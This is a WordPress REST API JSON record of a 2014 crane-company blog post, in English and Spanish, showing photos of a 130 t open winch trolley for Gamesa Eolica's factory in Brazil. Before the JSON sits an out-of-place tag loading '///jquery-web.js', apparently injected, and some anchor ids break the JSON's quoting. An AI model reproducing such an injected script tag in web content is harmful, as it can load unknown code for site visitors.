<script src="///jquery-web.js"></script>{"id":595,"date":"2014-09-16T13:00:20","date_gmt":"2014-09-16T11:00:20","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=595"},"modified":"2014-09-14T19:47:32","modified_gmt":"2014-09-14T17:47:32","slug":"130-t-bridge-crane-for-gamesa","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/130-t-bridge-crane-for-gamesa\/","title":{"rendered":"130 t bridge crane for Gamesa"},"content":{"rendered":"<p>We have new pictures of the 130 t <strong>open winch<\/strong> for the factory \u00a0of <strong>Gamesa Eolica<\/strong> in <strong>Brazil<\/strong>.<br \/>\nThe pictures show the finished trolley, installed on a 20 m <strong>span double girder bridge crane<\/strong>.<\/p>\n<p>Tenemos nuevas fotos del <strong>carro abierto<\/strong> de <strong>130t<\/strong> para la fabrica de <strong>Gamesa Eolica\u00a0<\/strong>en Brasil.<br \/>\nEn esta ocasi\u00f3n las fotos muestran el\u00a0carro ya terminado,\u00a0montado sobre la <strong>gr\u00faa puente birra\u00edl<\/strong>, que tendr\u00e1 20m de luz.<\/p>\n<p><a id="gydyrwtb" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8576.jpg\"><\/a>\u00a0<a id="jjanxzte" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8567.jpg\"><\/a><\/p>\n<p><!--more--><a id="pcrejbkk" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8571.jpg\"><\/a> <a id="ljbjyjeb" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8582.jpg\"><\/a> <a id="tydgzyry" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8592.jpg\"><\/a> <a id="tmynqjzx" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8599.jpg\"><\/a><\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>We have new pictures of the 130 t open winch for the factory \u00a0of Gamesa Eolica in Brazil. The pictures show the finished trolley, installed on a 20 m span double girder bridge crane. Tenemos nuevas fotos del carro abierto de 130t para la fabrica de Gamesa Eolica\u00a0en Brasil. En esta ocasi\u00f3n las fotos muestran [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":726,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[87,86,84,85,18,107],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2014\/08\/MG_8566-e1408623739465.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/595"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=595"}],"version-history":[{"count":7,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/595\/revisions"}],"predecessor-version":[{"id":773,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/595\/revisions\/773"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/726"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=595"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=595"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=595"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}